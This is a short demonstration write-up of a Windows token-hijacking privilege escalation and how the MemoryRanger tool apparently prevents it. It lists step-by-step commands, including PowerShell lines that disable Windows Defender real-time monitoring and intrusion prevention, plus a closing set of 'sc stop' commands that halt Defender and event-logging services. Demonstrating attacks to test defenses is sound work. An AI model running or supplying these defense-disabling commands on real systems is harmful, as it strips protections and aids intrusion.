**Token Hijacking: The Attack and its Prevention**

**The Token Hijacking Attack**

1. Checking the OS version using **winver** command.
2. Start cmd.exe
3. Check the privileges

**whoami**

1. Run the command to get its PID:

**tasklist | findstr cmd**

1. Run the attacker.exe

**token\_hijacking**

1. Check the privileges again

**whoami**

1. Try to disable Windows Defender

**cmd.exe /c powershell Set-MpPreference -DisableRealTimeMonitoring $true**

**cmd.exe /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true**

🡺The privileges have been escalated. But let’s wait for Patch Guard reaction. 9 hours have been passed a BSOD has not appeared.

**The Prevention Token Hijacking**

1. Run the attacker.exe

*Focus on the fact, that malware driver is loaded before memory\_ranger and memory\_ranger cannot trap the loading of the attacker’s driver.*

1. Run memory\_ranger.exe
2. Start cmd.exe
3. Check the privileges

**whoami**

1. Run the command to get its PID:

**tasklist | findstr cmd**

1. Move back to the attacker.exe

**token\_hijacking**

1. Check the privileges again

**whoami**

1. Try to disable Windows Defender

**cmd.exe /c powershell Set-MpPreference -DisableRealTimeMonitoring $true**

**cmd.exe /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true**

We can see that MemoryRanger prevents Token Hijacking. The updated version of MemoryRanger hosts sensitive data inside special isolated enclave and prevents illegal access even from drivers, loaded before MemoryRanger.

<https://vms.drweb.com/virus/?i=18118262&lng=en>

<https://github.com/NYAN-x-CAT/Disable-Windows-Defender/blob/master/Disable-Windows-Defender/Program.cs>

etc:

sc stop WpnService REM Windows Push Notifications System Service

sc stop COMSysApp REM COM+ System Application

sc stop SENS REM System Event Notification Service

sc stop EventSystem REM Windows Event Log

sc stop WdNisSvc REM Windows Defender Network Inspection Service

sc stop WinDefend REM Windows Defender Service